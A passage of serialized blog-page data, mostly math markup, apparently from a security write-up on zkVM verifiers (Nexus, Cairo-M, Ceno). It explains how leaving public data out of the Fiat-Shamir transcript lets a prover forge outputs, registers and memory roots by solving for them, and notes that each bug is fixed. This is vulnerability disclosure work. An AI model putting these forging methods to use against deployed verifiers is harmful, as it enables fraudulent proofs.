8,"children":121130},{"className":121129,"style":97083},[8084],[121131],{"type":22,"tag":101,"props":121132,"children":121133},{"style":119277},[121134,121138],{"type":22,"tag":101,"props":121135,"children":121137},{"className":121136,"style":8094},[8093],[],{"type":22,"tag":101,"props":121139,"children":121141},{"className":121140},[8099,8100,8101,8102],[121142],{"type":22,"tag":101,"props":121143,"children":121145},{"className":121144},[8053,25575,8102],[121146],{"type":27,"value":7774},{"type":22,"tag":101,"props":121148,"children":121150},{"className":121149},[25732],[121151],{"type":27,"value":25735},{"type":22,"tag":101,"props":121153,"children":121155},{"className":121154},[8079],[121156],{"type":22,"tag":101,"props":121157,"children":121159},{"className":121158,"style":96637},[8084],[121160],{"type":22,"tag":101,"props":121161,"children":121162},{},[],{"type":22,"tag":101,"props":121164,"children":121166},{"className":121165,"style":8134},[8133],[],{"type":22,"tag":101,"props":121168,"children":121170},{"className":121169},[8139],[121171],{"type":27,"value":114816},{"type":22,"tag":101,"props":121173,"children":121175},{"className":121174,"style":8134},[8133],[],{"type":22,"tag":101,"props":121177,"children":121179},{"className":121178},[8042],[121180,121184,121246,121251,121256],{"type":22,"tag":101,"props":121181,"children":121183},{"className":121182,"style":8154},[8047],[],{"type":22,"tag":101,"props":121185,"children":121187},{"className":121186},[8053],[121188,121198],{"type":22,"tag":101,"props":121189,"children":121191},{"className":121190},[8053,27],[121192],{"type":22,"tag":101,"props":121193,"children":121195},{"className":121194},[8053],[121196],{"type":27,"value":121197},"constraint",{"type":22,"tag":101,"props":121199,"children":121201},{"className":121200},[8069],[121202],{"type":22,"tag":101,"props":121203,"children":121205},{"className":121204},[8074,25629],[121206,121235],{"type":22,"tag":101,"props":121207,"children":121209},{"className":121208},[8079],[121210,121230],{"type":22,"tag":101,"props":121211,"children":121213},{"className":121212,"style":97083},[8084],[121214],{"type":22,"tag":101,"props":121215,"children":121216},{"style":117684},[121217,121221],{"type":22,"tag":101,"props":121218,"children":121220},{"className":121219,"style":8094},[8093],[],{"type":22,"tag":101,"props":121222,"children":121224},{"className":121223},[8099,8100,8101,8102],[121225],{"type":22,"tag":101,"props":121226,"children":121228},{"className":121227},[8053,25575,8102],[121229],{"type":27,"value":7774},{"type":22,"tag":101,"props":121231,"children":121233},{"className":121232},[25732],[121234],{"type":27,"value":25735},{"type":22,"tag":101,"props":121236,"children":121238},{"className":121237},[8079],[121239],{"type":22,"tag":101,"props":121240,"children":121242},{"className":121241,"style":96637},[8084],[121243],{"type":22,"tag":101,"props":121244,"children":121245},{},[],{"type":22,"tag":101,"props":121247,"children":121249},{"className":121248},[25704],[121250],{"type":27,"value":980},{"type":22,"tag":101,"props":121252,"children":121254},{"className":121253},[8053,25575],[121255],{"type":27,"value":23266},{"type":22,"tag":101,"props":121257,"children":121259},{"className":121258},[25726],[121260],{"type":27,"value":2261},{"type":22,"tag":23,"props":121262,"children":121263},{},[121264,121266,121271,121273,121278],{"type":27,"value":121265},"Since each constraint is linear in its ",{"type":22,"tag":30,"props":121267,"children":121269},{"className":121268},[],[121270],{"type":27,"value":118418},{"type":27,"value":121272},", the overall composition polynomial is linear in all ",{"type":22,"tag":30,"props":121274,"children":121276},{"className":121275},[],[121277],{"type":27,"value":118418},{"type":27,"value":121279}," values.",{"type":22,"tag":23,"props":121281,"children":121282},{},[121283,121285],{"type":27,"value":121284},"The verifier checks ",{"type":22,"tag":30,"props":121286,"children":121288},{"className":121287},[8026,8027],[121289],{"type":22,"tag":101,"props":121290,"children":121292},{"className":121291},[8032],[121293],{"type":22,"tag":101,"props":121294,"children":121296},{"className":121295,"ariaHidden":5608},[8037],[121297,121358],{"type":22,"tag":101,"props":121298,"children":121300},{"className":121299},[8042],[121301,121305,121310,121315,121325,121330,121340,121345,121349,121354],{"type":22,"tag":101,"props":121302,"children":121304},{"className":121303,"style":96496},[8047],[],{"type":22,"tag":101,"props":121306,"children":121308},{"className":121307,"style":26107},[8053,25575],[121309],{"type":27,"value":119783},{"type":22,"tag":101,"props":121311,"children":121313},{"className":121312},[25704],[121314],{"type":27,"value":980},{"type":22,"tag":101,"props":121316,"children":121318},{"className":121317},[8053,27],[121319],{"type":22,"tag":101,"props":121320,"children":121322},{"className":121321},[8053],[121323],{"type":27,"value":121324},"oods",{"type":22,"tag":101,"props":121326,"children":121328},{"className":121327,"style":96554},[8053],[121329],{"type":27,"value":6382},{"type":22,"tag":101,"props":121331,"children":121333},{"className":121332},[8053,27],[121334],{"type":22,"tag":101,"props":121335,"children":121337},{"className":121336},[8053],[121338],{"type":27,"value":121339},"point",{"type":22,"tag":101,"props":121341,"children":121343},{"className":121342},[25726],[121344],{"type":27,"value":2261},{"type":22,"tag":101,"props":121346,"children":121348},{"className":121347,"style":8231},[8133],[],{"type":22,"tag":101,"props":121350,"children":121352},{"className":121351},[8236],[121353],{"type":27,"value":1511},{"type":22,"tag":101,"props":121355,"children":121357},{"className":121356,"style":8231},[8133],[],{"type":22,"tag":101,"props":121359,"children":121361},{"className":121360},[8042],[121362,121366],{"type":22,"tag":101,"props":121363,"children":121365},{"className":121364,"style":118609},[8047],[],{"type":22,"tag":101,"props":121367,"children":121369},{"className":121368},[8053,27],[121370],{"type":22,"tag":101,"props":121371,"children":121373},{"className":121372},[8053],[121374],{"type":27,"value":120108},{"type":22,"tag":23,"props":121376,"children":121377},{},[121378,121380,121385,121387,121392],{"type":27,"value":121379},"With ",{"type":22,"tag":30,"props":121381,"children":121383},{"className":121382},[],[121384],{"type":27,"value":118418},{"type":27,"value":121386}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":22,"tag":30,"props":121388,"children":121390},{"className":121389},[],[121391],{"type":27,"value":118418},{"type":27,"value":121393}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":22,"tag":23,"props":121395,"children":121396},{},[121397,121401,121403],{"type":22,"tag":9370,"props":121398,"children":121399},{},[121400],{"type":27,"value":120264},{"type":27,"value":121402}," Fixed on October 24, 2025 via ",{"type":22,"tag":80,"props":121404,"children":121407},{"href":121405,"rel":121406},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[84],[121408],{"type":27,"value":121409},"PR #503",{"type":22,"tag":1398,"props":121411,"children":121412},{},[],{"type":22,"tag":1760,"props":121414,"children":121416},{"id":121415},"cairo-m-kakarot-labs",[121417],{"type":27,"value":121418},"Cairo-M (Kakarot Labs)",{"type":22,"tag":23,"props":121420,"children":121421},{},[121422],{"type":27,"value":121423},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":22,"tag":23,"props":121425,"children":121426},{},[121427],{"type":27,"value":121428},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":22,"tag":23,"props":121430,"children":121431},{},[121432],{"type":22,"tag":9370,"props":121433,"children":121434},{},[121435],{"type":27,"value":118970},{"type":22,"tag":91,"props":121437,"children":121439},{"code":121438},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[121440],{"type":22,"tag":30,"props":121441,"children":121442},{"__ignoreMap":7},[121443],{"type":27,"value":121438},{"type":22,"tag":23,"props":121445,"children":121446},{},[121447],{"type":22,"tag":9370,"props":121448,"children":121449},{},[121450],{"type":27,"value":118986},{"type":22,"tag":23,"props":121452,"children":121453},{},[121454],{"type":22,"tag":7959,"props":121455,"children":121458},{"alt":121456,"src":121457},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":22,"tag":23,"props":121460,"children":121461},{},[121462,121464,121470],{"type":27,"value":121463},"Lookup challenges are derived without ",{"type":22,"tag":30,"props":121465,"children":121467},{"className":121466},[],[121468],{"type":27,"value":121469},"public_data",{"type":27,"value":121471}," being mixed into the transcript.",{"type":22,"tag":23,"props":121473,"children":121474},{},[121475,121476,121481,121483,121488],{"type":27,"value":2007},{"type":22,"tag":30,"props":121477,"children":121479},{"className":121478},[],[121480],{"type":27,"value":121469},{"type":27,"value":121482}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":22,"tag":6961,"props":121484,"children":121485},{},[121486],{"type":27,"value":121487},"denominators",{"type":27,"value":121489}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":22,"tag":23,"props":121491,"children":121492},{},[121493],{"type":22,"tag":30,"props":121494,"children":121496},{"className":121495},[8026,8027],[121497],{"type":22,"tag":101,"props":121498,"children":121500},{"className":121499},[8032],[121501],{"type":22,"tag":101,"props":121502,"children":121504},{"className":121503,"ariaHidden":5608},[8037],[121505,121565,121611,121657],{"type":22,"tag":101,"props":121506,"children":121508},{"className":121507},[8042],[121509,121513,121519,121524,121533,121538,121547,121552,121556,121561],{"type":22,"tag":101,"props":121510,"children":121512},{"className":121511,"style":96496},[8047],[],{"type":22,"tag":101,"props":121514,"children":121516},{"className":121515},[8053,25575],[121517],{"type":27,"value":121518},"L",{"type":22,"tag":101,"props":121520,"children":121522},{"className":121521},[25704],[121523],{"type":27,"value":980},{"type":22,"tag":101,"props":121525,"children":121527},{"className":121526},[8053,27],[121528],{"type":22,"tag":101,"props":121529,"children":121531},{"className":121530},[8053],[121532],{"type":27,"value":821},{"type":22,"tag":101,"props":121534,"children":121536},{"className":121535,"style":96554},[8053],[121537],{"type":27,"value":6382},{"type":22,"tag":101,"props":121539,"children":121541},{"className":121540},[8053,27],[121542],{"type":22,"tag":101,"props":121543,"children":121545},{"className":121544},[8053],[121546],{"type":27,"value":7738},{"type":22,"tag":101,"props":121548,"children":121550},{"className":121549},[25726],[121551],{"type":27,"value":2261},{"type":22,"tag":101,"props":121553,"children":121555},{"className":121554,"style":8134},[8133],[],{"type":22,"tag":101,"props":121557,"children":121559},{"className":121558},[8139],[121560],{"type":27,"value":8426},{"type":22,"tag":101,"props":121562,"children":121564},{"className":121563,"style":8134},[8133],[],{"type":22,"tag":101,"props":121566,"children":121568},{"className":121567},[8042],[121569,121573,121583,121588,121598,121602,121607],{"type":22,"tag":101,"props":121570,"children":121572},{"className":121571,"style":96496},[8047],[],{"type":22,"tag":101,"props":121574,"children":121576},{"className":121575},[8053,27],[121577],{"type":22,"tag":101,"props":121578,"children":121580},{"className":121579},[8053],[121581],{"type":27,"value":121582},"(other transcript",{"type":22,"tag":101,"props":121584,"children":121586},{"className":121585,"style":96554},[8053],[121587],{"type":27,"value":6382},{"type":22,"tag":101,"props":121589,"children":121591},{"className":121590},[8053,27],[121592],{"type":22,"tag":101,"props":121593,"children":121595},{"className":121594},[8053],[121596],{"type":27,"value":121597},"bound terms)",{"type":22,"tag":101,"props":121599,"children":121601},{"className":121600,"style":8231},[8133],[],{"type":22,"tag":101,"props":121603,"children":121605},{"className":121604},[8236],[121606],{"type":27,"value":1511},{"type":22,"tag":101,"props":121608,"children":121610},{"className":121609,"style":8231},[8133],[],{"type":22,"tag":101,"props":121612,"children":121614},{"className":121613},[8042],[121615,121620,121625,121630,121635,121639,121644,121648,121653],{"type":22,"tag":101,"props":121616,"children":121619},{"className":121617,"style":121618},[8047],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":22,"tag":101,"props":121621,"children":121623},{"className":121622},[8053],[121624],{"type":27,"value":8065},{"type":22,"tag":101,"props":121626,"children":121628},{"className":121627},[8165],[121629],{"type":27,"value":8168},{"type":22,"tag":101,"props":121631,"children":121634},{"className":121632,"style":121633},[8133],"margin-right:2em;",[],{"type":22,"tag":101,"props":121636,"children":121638},{"className":121637,"style":8172},[8133],[],{"type":22,"tag":101,"props":121640,"children":121642},{"className":121641},[8053,25575],[121643],{"type":27,"value":121518},{"type":22,"tag":101,"props":121645,"children":121647},{"className":121646,"style":8231},[8133],[],{"type":22,"tag":101,"props":121649,"children":121651},{"className":121650},[8236],[121652],{"type":27,"value":1511},{"type":22,"tag":101,"props":121654,"children":121656},{"className":121655,"style":8231},[8133],[],{"type":22,"tag":101,"props":121658,"children":121660},{"className":121659},[8042],[121661,121666,121723,121727,121945],{"type":22,"tag":101,"props":121662,"children":121665},{"className":121663,"style":121664},[8047],"height:1.4071em;vertical-align:-0.562em;",[],{"type":22,"tag":101,"props":121667,"children":121669},{"className":121668},[25611],[121670,121675],{"type":22,"tag":101,"props":121671,"children":121673},{"className":121672,"style":25618},[25611,25616,25617],[121674],{"type":27,"value":112349},{"type":22,"tag":101,"props":121676,"children":121678},{"className":121677},[8069],[121679],{"type":22,"tag":101,"props":121680,"children":121682},{"className":121681},[8074,25629],[121683,121712],{"type":22,"tag":101,"props":121684,"children":121686},{"className":121685},[8079],[121687,121707],{"type":22,"tag":101,"props":121688,"children":121690},{"className":121689,"style":117761},[8084],[121691],{"type":22,"tag":101,"props":121692,"children":121693},{"style":25642},[121694,121698],{"type":22,"tag":101,"props":121695,"children":121697},{"className":121696,"style":8094},[8093],[],{"type":22,"tag":101,"props":121699,"children":121701},{"className":121700},[8099,8100,8101,8102],[121702],{"type":22,"tag":101,"props":121703,"children":121705},{"className":121704},[8053,25575,8102],[121706],{"type":27,"value":7774},{"type":22,"tag":101,"props":121708,"children":121710},{"className":121709},[25732],[121711],{"type":27,"value":25735},{"type":22,"tag":101,"props":121713,"children":121715},{"className":121714},[8079],[121716],{"type":22,"tag":101,"props":121717,"children":121719},{"className":121718,"style":118041},[8084],[121720],{"type":22,"tag":101,"props":121721,"children":121722},{},[],{"type":22,"tag":101,"props":121724,"children":121726},{"className":121725,"style":8172},[8133],[],{"type":22,"tag":101,"props":121728,"children":121730},{"className":121729},[8053],[121731,121735,121941],{"type":22,"tag":101,"props":121732,"children":121734},{"className":121733},[25704,117072],[],{"type":22,"tag":101,"props":121736,"children":121738},{"className":121737},[117077],[121739],{"type":22,"tag":101,"props":121740,"children":121742},{"className":121741},[8074,25629],[121743,121929],{"type":22,"tag":101,"props":121744,"children":121746},{"className":121745},[8079],[121747,121924],{"type":22,"tag":101,"props":121748,"children":121750},{"className":121749,"style":117090},[8084],[121751,121893,121904],{"type":22,"tag":101,"props":121752,"children":121753},{"style":117094},[121754,121758],{"type":22,"tag":101,"props":121755,"children":121757},{"className":121756,"style":115725},[8093],[],{"type":22,"tag":101,"props":121759,"children":121761},{"className":121760},[8099,8100,8101,8102],[121762],{"type":22,"tag":101,"props":121763,"children":121765},{"className":121764},[8053,8102],[121766,121771,121776,121782,121787,121792,121849,121854,121863,121868,121877,121883,121888],{"type":22,"tag":101,"props":121767,"children":121769},{"className":121768,"style":117111},[8053,25575,8102],[121770],{"type":27,"value":117114},{"type":22,"tag":101,"props":121772,"children":121774},{"className":121773},[8139,8102],[121775],{"type":27,"value":8426},{"type":22,"tag":101,"props":121777,"children":121779},{"className":121778},[25704,8102],[121780],{"type":27,"value":121781},"⟨",{"type":22,"tag":101,"props":121783,"children":121785},{"className":121784,"style":118642},[8053,25575,8102],[121786],{"type":27,"value":118645},{"type":22,"tag":101,"props":121788,"children":121790},{"className":121789},[8165,8102],[121791],{"type":27,"value":8168},{"type":22,"tag":101,"props":121793,"children":121795},{"className":121794},[8053,8102],[121796,121801],{"type":22,"tag":101,"props":121797,"children":121799},{"className":121798},[8053,25575,8102],[121800],{"type":27,"value":25717},{"type":22,"tag":101,"props":121802,"children":121804},{"className":121803},[8069],[121805],{"type":22,"tag":101,"props":121806,"children":121808},{"className":121807},[8074,25629],[121809,121838],{"type":22,"tag":101,"props":121810,"children":121812},{"className":121811},[8079],[121813,121833],{"type":22,"tag":101,"props":121814,"children":121816},{"className":121815,"style":117878},[8084],[121817],{"type":22,"tag":101,"props":121818,"children":121819},{"style":112409},[121820,121824],{"type":22,"tag":101,"props":121821,"children":121823},{"className":121822,"style":112414},[8093],[],{"type":22,"tag":101,"props":121825,"children":121827},{"className":121826},[8099,112419,112420,8102],[121828],{"type":22,"tag":101,"props":121829,"children":121831},{"className":121830},[8053,25575,8102],[121832],{"type":27,"value":7774},{"type":22,"tag":101,"props":121834,"children":121836},{"className":121835},[25732],[121837],{"type":27,"value":25735},{"type":22,"tag":101,"props":121839,"children":121841},{"className":121840},[8079],[121842],{"type":22,"tag":101,"props":121843,"children":121845},{"className":121844,"style":112439},[8084],[121846],{"type":22,"tag":101,"props":121847,"children":121848},{},[],{"type":22,"tag":101,"props":121850,"children":121852},{"className":121851},[25704,8102],[121853],{"type":27,"value":980},{"type":22,"tag":101,"props":121855,"children":121857},{"className":121856},[8053,27,8102],[121858],{"type":22,"tag":101,"props":121859,"children":121861},{"className":121860},[8053,8102],[121862],{"type":27,"value":821},{"type":22,"tag":101,"props":121864,"children":121866},{"className":121865,"style":96554},[8053,8102],[121867],{"type":27,"value":6382},{"type":22,"tag":101,"props":121869,"children":121871},{"className":121870},[8053,27,8102],[121872],{"type":22,"tag":101,"props":121873,"children":121875},{"className":121874},[8053,8102],[121876],{"type":27,"value":7738},{"type":22,"tag":101,"props":121878,"children":121880},{"className":121879},[25726,8102],[121881],{"type":27,"value":121882},")⟩",{"type":22,"tag":101,"props":121884,"children":121886},{"className":121885},[8139,8102],[121887],{"type":27,"value":8426},{"type":22,"tag":101,"props":121889,"children":121891},{"className":121890,"style":118697},[8053,25575,8102],[121892],{"type":27,"value":118700},{"type":22,"tag":101,"props":121894,"children":121895},{"style":117127},[121896,121900],{"type":22,"tag":101,"props":121897,"children":121899},{"className":121898,"style":115725},[8093],[],{"type":22,"tag":101,"props":121901,"children":121903},{"className":121902,"style":117137},[117136],[],{"type":22,"tag":101,"props":121905,"children":121906},{"style":117141},[121907,121911],{"type":22,"tag":101,"props":121908,"children":121910},{"className":121909,"style":115725},[8093],[],{"type":22,"tag":101,"props":121912,"children":121914},{"className":121913},[8099,8100,8101,8102],[121915],{"type":22,"tag":101,"props":121916,"children":121918},{"className":121917},[8053,8102],[121919],{"type":22,"tag":101,"props":121920,"children":121922},{"className":121921},[8053,8102],[121923],{"type":27,"value":6813},{"type":22,"tag":101,"props":121925,"children":121927},{"className":121926},[25732],[121928],{"type":27,"value":25735},{"type":22,"tag":101,"props":121930,"children":121932},{"className":121931},[8079],[121933],{"type":22,"tag":101,"props":121934,"children":121937},{"className":121935,"style":121936},[8084],"height:0.562em;",[121938],{"type":22,"tag":101,"props":121939,"children":121940},{},[],{"type":22,"tag":101,"props":121942,"children":121944},{"className":121943},[25726,117072],[],{"type":22,"tag":101,"props":121946,"children":121948},{"className":121947},[8053],[121949],{"type":27,"value":231},{"type":22,"tag":23,"props":121951,"children":121952},{},[121953,121955],{"type":27,"value":121954},"The global check is then that ",{"type":22,"tag":30,"props":121956,"children":121958},{"className":121957},[8026,8027],[121959],{"type":22,"tag":101,"props":121960,"children":121962},{"className":121961},[8032],[121963],{"type":22,"tag":101,"props":121964,"children":121966},{"className":121965,"ariaHidden":5608},[8037],[121967,122008,122039],{"type":22,"tag":101,"props":121968,"children":121970},{"className":121969},[8042],[121971,121975,121980,121985,121990,121995,121999,122004],{"type":22,"tag":101,"props":121972,"children":121974},{"className":121973,"style":8154},[8047],[],{"type":22,"tag":101,"props":121976,"children":121978},{"className":121977},[8053,25575],[121979],{"type":27,"value":121518},{"type":22,"tag":101,"props":121981,"children":121983},{"className":121982},[25704],[121984],{"type":27,"value":980},{"type":22,"tag":101,"props":121986,"children":121988},{"className":121987},[8053,25575],[121989],{"type":27,"value":23},{"type":22,"tag":101,"props":121991,"children":121993},{"className":121992},[25726],[121994],{"type":27,"value":2261},{"type":22,"tag":101,"props":121996,"children":121998},{"className":121997,"style":8134},[8133],[],{"type":22,"tag":101,"props":122000,"children":122002},{"className":122001},[8139],[122003],{"type":27,"value":8426},{"type":22,"tag":101,"props":122005,"children":122007},{"className":122006,"style":8134},[8133],[],{"type":22,"tag":101,"props":122009,"children":122011},{"className":122010},[8042],[122012,122016,122026,122030,122035],{"type":22,"tag":101,"props":122013,"children":122015},{"className":122014,"style":8154},[8047],[],{"type":22,"tag":101,"props":122017,"children":122019},{"className":122018},[8053,27],[122020],{"type":22,"tag":101,"props":122021,"children":122023},{"className":122022},[8053],[122024],{"type":27,"value":122025},"(other terms)",{"type":22,"tag":101,"props":122027,"children":122029},{"className":122028,"style":8231},[8133],[],{"type":22,"tag":101,"props":122031,"children":122033},{"className":122032},[8236],[122034],{"type":27,"value":1511},{"type":22,"tag":101,"props":122036,"children":122038},{"className":122037,"style":8231},[8133],[],{"type":22,"tag":101,"props":122040,"children":122042},{"className":122041},[8042],[122043,122047],{"type":22,"tag":101,"props":122044,"children":122046},{"className":122045,"style":97585},[8047],[],{"type":22,"tag":101,"props":122048,"children":122050},{"className":122049},[8053],[122051],{"type":27,"value":8065},{"type":22,"tag":23,"props":122053,"children":122054},{},[122055],{"type":27,"value":122056},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":22,"tag":23,"props":122058,"children":122059},{},[122060],{"type":27,"value":122061},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":22,"tag":23,"props":122063,"children":122064},{},[122065,122069,122071],{"type":22,"tag":9370,"props":122066,"children":122067},{},[122068],{"type":27,"value":120264},{"type":27,"value":122070}," Fixed on October 31, 2025 via ",{"type":22,"tag":80,"props":122072,"children":122075},{"href":122073,"rel":122074},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[84],[122076],{"type":27,"value":122077},"commit 92b6740",{"type":22,"tag":1398,"props":122079,"children":122080},{},[],{"type":22,"tag":1760,"props":122082,"children":122084},{"id":122083},"ceno-scroll",[122085],{"type":27,"value":122086},"Ceno (Scroll)",{"type":22,"tag":23,"props":122088,"children":122089},{},[122090],{"type":27,"value":122091},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":22,"tag":23,"props":122093,"children":122094},{},[122095,122097,122102],{"type":27,"value":122096},"Ceno splits verification into ",{"type":22,"tag":9370,"props":122098,"children":122099},{},[122100],{"type":27,"value":122101},"chips",{"type":27,"value":122103},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":22,"tag":23,"props":122105,"children":122106},{},[122107,122109,122114],{"type":27,"value":122108},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":22,"tag":9370,"props":122110,"children":122111},{},[122112],{"type":27,"value":122113},"tower sumcheck",{"type":27,"value":231},{"type":22,"tag":23,"props":122116,"children":122117},{},[122118],{"type":27,"value":122119},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":22,"tag":23,"props":122121,"children":122122},{},[122123],{"type":22,"tag":30,"props":122124,"children":122126},{"className":122125},[8026,8027],[122127],{"type":22,"tag":101,"props":122128,"children":122130},{"className":122129},[8032],[122131],{"type":22,"tag":101,"props":122132,"children":122134},{"className":122133,"ariaHidden":5608},[8037],[122135,122309,122482],{"type":22,"tag":101,"props":122136,"children":122138},{"className":122137},[8042],[122139,122143,122201,122205,122214,122219,122229,122234,122296,122300,122305],{"type":22,"tag":101,"props":122140,"children":122142},{"className":122141,"style":96496},[8047],[],{"type":22,"tag":101,"props":122144,"children":122146},{"className":122145},[25611],[122147,122153],{"type":22,"tag":101,"props":122148,"children":122150},{"className":122149,"style":25618},[25611,25616,25617],[122151],{"type":27,"value":122152},"∏",{"type":22,"tag":101,"props":122154,"children":122156},{"className":122155},[8069],[122157],{"type":22,"tag":101,"props":122158,"children":122160},{"className":122159},[8074,25629],[122161,122190],{"type":22,"tag":101,"props":122162,"children":122164},{"className":122163},[8079],[122165,122185],{"type":22,"tag":101,"props":122166,"children":122168},{"className":122167,"style":117761},[8084],[122169],{"type":22,"tag":101,"props":122170,"children":122171},{"style":25642},[122172,122176],{"type":22,"tag":101,"props":122173,"children":122175},{"className":122174,"style":8094},[8093],[],{"type":22,"tag":101,"props":122177,"children":122179},{"className":122178},[8099,8100,8101,8102],[122180],{"type":22,"tag":101,"props":122181,"children":122183},{"className":122182},[8053,25575,8102],[122184],{"type":27,"value":7774},{"type":22,"tag":101,"props":122186,"children":122188},{"className":122187},[25732],[122189],{"type":27,"value":25735},{"type":22,"tag":101,"props":122191,"children":122193},{"className":122192},[8079],[122194],{"type":22,"tag":101,"props":122195,"children":122197},{"className":122196,"style":118041},[8084],[122198],{"type":22,"tag":101,"props":122199,"children":122200},{},[],{"type":22,"tag":101,"props":122202,"children":122204},{"className":122203,"style":8172},[8133],[],{"type":22,"tag":101,"props":122206,"children":122208},{"className":122207},[8053,27],[122209],{"type":22,"tag":101,"props":122210,"children":122212},{"className":122211},[8053],[122213],{"type":27,"value":97373},{"type":22,"tag":101,"props":122215,"children":122217},{"className":122216,"style":96554},[8053],[122218],{"type":27,"value":6382},{"type":22,"tag":101,"props":122220,"children":122222},{"className":122221},[8053,27],[122223],{"type":22,"tag":101,"props":122224,"children":122226},{"className":122225},[8053],[122227],{"type":27,"value":122228},"out",{"type":22,"tag":101,"props":122230,"children":122232},{"className":122231,"style":96554},[8053],[122233],{"type":27,"value":6382},{"type":22,"tag":101,"props":122235,"children":122237},{"className":122236},[8053],[122238,122248],{"type":22,"tag":101,"props":122239,"children":122241},{"className":122240},[8053,27],[122242],{"type":22,"tag":101,"props":122243,"children":122245},{"className":122244},[8053],[122246],{"type":27,"value":122247},"evals",{"type":22,"tag":101,"props":122249,"children":122251},{"className":122250},[8069],[122252],{"type":22,"tag":101,"props":122253,"children":122255},{"className":122254},[8074,25629],[122256,122285],{"type":22,"tag":101,"props":122257,"children":122259},{"className":122258},[8079],[122260,122280],{"type":22,"tag":101,"props":122261,"children":122263},{"className":122262,"style":97083},[8084],[122264],{"type":22,"tag":101,"props":122265,"children":122266},{"style":117684},[122267,122271],{"type":22,"tag":101,"props":122268,"children":122270},{"className":122269,"style":8094},[8093],[],{"type":22,"tag":101,"props":122272,"children":122274},{"className":122273},[8099,8100,8101,8102],[122275],{"type":22,"tag":101,"props":122276,"children":122278},{"className":122277},[8053,25575,8102],[122279],{"type":27,"value":7774},{"type":22,"tag":101,"props":122281,"children":122283},{"className":122282},[25732],[122284],{"type":27,"value":25735},{"type":22,"tag":101,"props":122286,"children":122288},{"className":122287},[8079],[122289],{"type":22,"tag":101,"props":122290,"children":122292},{"className":122291,"style":96637},[8084],[122293],{"type":22,"tag":101,"props":122294,"children":122295},{},[],{"type":22,"tag":101,"props":122297,"children":122299},{"className":122298,"style":8231},[8133],[],{"type":22,"tag":101,"props":122301,"children":122303},{"className":122302},[8236],[122304],{"type":27,"value":1511},{"type":22,"tag":101,"props":122306,"children":122308},{"className":122307,"style":8231},[8133],[],{"type":22,"tag":101,"props":122310,"children":122312},{"className":122311},[8042],[122313,122318,122375,122379,122388,122393,122402,122407,122469,122473,122478],{"type":22,"tag":101,"props":122314,"children":122317},{"className":122315,"style":122316},[8047],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":22,"tag":101,"props":122319,"children":122321},{"className":122320},[25611],[122322,122327],{"type":22,"tag":101,"props":122323,"children":122325},{"className":122324,"style":25618},[25611,25616,25617],[122326],{"type":27,"value":122152},{"type":22,"tag":101,"props":122328,"children":122330},{"className":122329},[8069],[122331],{"type":22,"tag":101,"props":122332,"children":122334},{"className":122333},[8074,25629],[122335,122364],{"type":22,"tag":101,"props":122336,"children":122338},{"className":122337},[8079],[122339,122359],{"type":22,"tag":101,"props":122340,"children":122342},{"className":122341,"style":117761},[8084],[122343],{"type":22,"tag":101,"props":122344,"children":122345},{"style":25642},[122346,122350],{"type":22,"tag":101,"props":122347,"children":122349},{"className":122348,"style":8094},[8093],[],{"type":22,"tag":101,"props":122351,"children":122353},{"className":122352},[8099,8100,8101,8102],[122354],{"type":22,"tag":101,"props":122355,"children":122357},{"className":122356,"style":117777},[8053,25575,8102],[122358],{"type":27,"value":12663},{"type":22,"tag":101,"props":122360,"children":122362},{"className":122361},[25732],[122363],{"type":27,"value":25735},{"type":22,"tag":101,"props":122365,"children":122367},{"className":122366},[8079],[122368],{"type":22,"tag":101,"props":122369,"children":122371},{"className":122370,"style":117792},[8084],[122372],{"type":22,"tag":101,"props":122373,"children":122374},{},[],{"type":22,"tag":101,"props":122376,"children":122378},{"className":122377,"style":8172},[8133],[],{"type":22,"tag":101,"props":122380,"children":122382},{"className":122381},[8053,27],[122383],{"type":22,"tag":101,"props":122384,"children":122386},{"className":122385},[8053],[122387],{"type":27,"value":53568},{"type":22,"tag":101,"props":122389,"children":122391},{"className":122390,"style":96554},[8053],[122392],{"type":27,"value":6382},{"type":22,"tag":101,"props":122394,"children":122396},{"className":122395},[8053,27],[122397],{"type":22,"tag":101,"props":122398,"children":122400},{"className":122399},[8053],[122401],{"type":27,"value":122228},{"type":22,"tag":101,"props":122403,"children":122405},{"className":122404,"style":96554},[8053],[122406],{"type":27,"value":6382},{"type":22,"tag":101,"props":122408,"children":122410},{"className":122409},[8053],[122411,122420],{"type":22,"tag":101,"props":122412,"children":122414},{"className":122413},[8053,27],[122415],{"type":22,"tag":101,"props":122416,"children":122418},{"className":122417},[8053],[122419],{"type":27,"value":122247},{"type":22,"tag":101,"props":122421,"children":122423},{"className":122422},[8069],[122424],{"type":22,"tag":101,"props":122425,"children":122427},{"className":122426},[8074,25629],[122428,122457],{"type":22,"tag":101,"props":122429,"children":122431},{"className":122430},[8079],[122432,122452],{"type":22,"tag":101,"props":122433,"children":122435},{"className":122434,"style":97083},[8084],[122436],{"type":22,"tag":101,"props":122437,"children":122438},{"style":117684},[122439,122443],{"type":22,"tag":101,"props":122440,"children":122442},{"className":122441,"style":8094},[8093],[],{"type":22,"tag":101,"props":122444